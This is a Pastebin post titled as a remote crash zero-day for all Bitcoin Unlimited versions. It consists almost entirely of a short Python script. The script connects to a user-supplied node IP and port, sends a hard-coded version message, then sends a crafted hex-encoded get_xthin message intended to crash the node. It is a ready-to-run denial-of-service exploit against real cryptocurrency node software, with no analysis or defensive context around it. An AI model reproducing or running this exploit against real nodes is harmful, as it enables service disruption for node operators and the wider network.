Advertisement
Guest User

Remote Crash 0day Bitcoin Unlimited all versions

a guest
Mar 14th, 2017
2,195
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.08 KB | None | 0 0
  1.  
  2. #!/usr/bin/env python
  3. import binascii
  4. import socket
  5. import time
  6. import sys
  7. import argparse
  8.  
  9. BUFFER_SIZE = 1024
  10. VERSION = binascii.unhexlify("f9beb4d976657273696f6e00000000006600000023c22f307e110100000000000000000040dbc75800000000000000000000000000000000000000000000ffffad61bfae208d000000000000000000000000000000000000ffff0000000000002747310f6a3c90b9102f5361746f7368693a302e31332e312fbff9060000")
  11. GET_XTHIN = binascii.unhexlify("f9beb4d96765745f787468696e00000050000000738a98c80200000000000000000000000000000000000000000000000000000000000000000000002200000000000000000000000000000000000000000000000000000000000000000000120000000000000001")
  12.  
  13. if len(sys.argv) > 2:
  14.     TCP_PORT = int(sys.argv[2])
  15.     TCP_IP = sys.argv[1]
  16. elif len(sys.argv) > 1:
  17.     TCP_PORT = 8333
  18.     TCP_IP = sys.argv[1]
  19. else:
  20.     print "Usage: %s ip [port]" % sys.argv[0]
  21.     exit(1)
  22.  
  23. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  24. s.connect((TCP_IP, TCP_PORT))
  25. s.send(VERSION)
  26.  
  27. data = s.recv(BUFFER_SIZE)
  28. time.sleep(1)
  29.  
  30. s.send(GET_XTHIN)
  31. time.sleep(1)
  32. s.close()
  33.  
  34. print "received data:", data
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement